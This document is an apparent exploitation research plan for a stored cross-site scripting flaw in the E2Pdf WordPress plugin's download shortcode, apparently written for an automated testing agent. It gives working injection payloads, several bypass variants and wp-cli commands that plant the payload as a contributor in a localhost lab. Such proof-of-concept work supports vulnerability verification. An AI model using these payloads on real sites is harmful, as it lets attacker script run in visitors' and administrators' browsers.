Exploitation Research Plan: CVE-2026-7650 (E2Pdf Stored XSS)

1. Vulnerability Summary

CVE-2026-7650 is a Stored Cross-Site Scripting (XSS) vulnerability in the E2Pdf – Export Pdf Tool for WordPress plugin (versions <= 1.32.17). The vulnerability exists in the e2pdf-download shortcode handler. Specifically, the id attribute of the shortcode is processed and rendered in the HTML output without sufficient sanitization or output escaping. This allows an authenticated attacker with Contributor-level permissions or higher to inject arbitrary JavaScript into a post or page, which executes in the context of any user viewing the page.

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (via Shortcode).
• Shortcode: [e2pdf-download]
• Vulnerable Parameter: id attribute.
• Authentication Required: Authenticated (Contributor+).
• Preconditions: The e2pdf plugin must be active. The attacker must be able to save a post containing shortcodes.

3. Code Flow

The trace begins when a post containing the shortcode is rendered:

1. Shortcode Registration: The plugin registers the shortcode (likely in Model_E2pdf_Loader which calls Model_E2pdf_Shortcode).
2. Handler Invocation: When WordPress encounters [e2pdf-download], it calls Model_E2pdf_Shortcode::e2pdf_download($atts) in classes/model/e2pdf-shortcode.php.
3. Attribute Loading: The handler processes attributes using:
   $attributes = (new Helper_E2pdf_Atts())->load($atts);
4. Retrieval: The vulnerable attribute is retrieved via:
   $id = $attributes->get('id');
5. Sink (Inferred): The code subsequently constructs an HTML element (e.g., an <a> tag or a <div> wrapper) to represent the download button/link. The $id value is concatenated into an HTML attribute (likely id, class, or data-id) or used as part of a URL without being passed through esc_attr() or esc_url().
6. Output: The unescaped HTML string is returned by the shortcode handler and echoed by WordPress into the page content.

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS via Shortcode, which is a passive attack triggered during page rendering.

• Injection Phase: Creating or updating a post requires standard WordPress nonces. However, using wp-cli to create the post bypasses the need for manual nonce handling in the UI.
• Trigger Phase: No nonces are required to trigger the XSS. The script executes automatically when the page is loaded by a victim.
• Plugin Nonces: While e2pdf.php and its controllers may register nonces via wp_localize_script, they are not required to exploit this specific shortcode attribute injection.

5. Exploitation Strategy

The goal is to inject a script that executes alert(document.domain) when the page is viewed.

Step-by-Step Plan:

1. Inject Payload: Create a new post containing the malicious shortcode.
   • Payload: [e2pdf-download id='"><script>alert(document.domain)</script>']
   • The "> sequence is intended to break out of the HTML attribute where the id is reflected.
2. Access the Page: Navigate to the frontend URL of the newly created post using the http_request tool.
3. Verify Execution: Check the response body for the unescaped script tag and observe execution via browser tools.

Request Details (Injection via WP-CLI):

wp post create --post_type=post --post_status=publish --post_title="E2Pdf Test" --post_content="[e2pdf-download id='\"><script>alert(document.domain)</script>']" --post_author=$(wp user get contributor_user --field=ID)

Request Details (Triggering via HTTP):

• Method: GET
• URL: http://localhost:8080/?p=<POST_ID>
• Tool: http_request

6. Test Data Setup

1. Plugin Status: Ensure e2pdf version 1.32.17 is installed and active.
2. Attacker User: Create a user with the Contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

3. Target Content: The researcher will create a post (as the attacker) containing the payload.

7. Expected Results

• When the page is viewed, the HTML source should contain a fragment similar to:
  <div id="e2pdf-download-"><script>alert(document.domain)</script>">...</div>
• The alert box should trigger in a browser environment (verified via browser_navigate or by checking for the script string in the http_request response).

8. Verification Steps

1. Database Check: Confirm the payload is stored correctly in the wp_posts table.

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='E2Pdf Test';"
   

2. Source Code Inspection: Use the agent to grep the response of the frontend page.

   # Search for the script tag in the rendered output
   http_request http://localhost:8080/path-to-post | grep "<script>alert(document.domain)</script>"
   

9. Alternative Approaches

If the id attribute is filtered or placed in a context where "><script> doesn't work (e.g., inside an existing script block or a different HTML tag):

1. Event Handler Injection: If the value is placed inside an attribute but quotes are partially escaped, try:
   id='x' onmouseover='alert(1)'
2. Protocol Injection: If the id is used to construct a URL:
   id='javascript:alert(1)'
3. Style Injection:
   id='x" style="background-image:url(javascript:alert(1))"' (if using older browsers).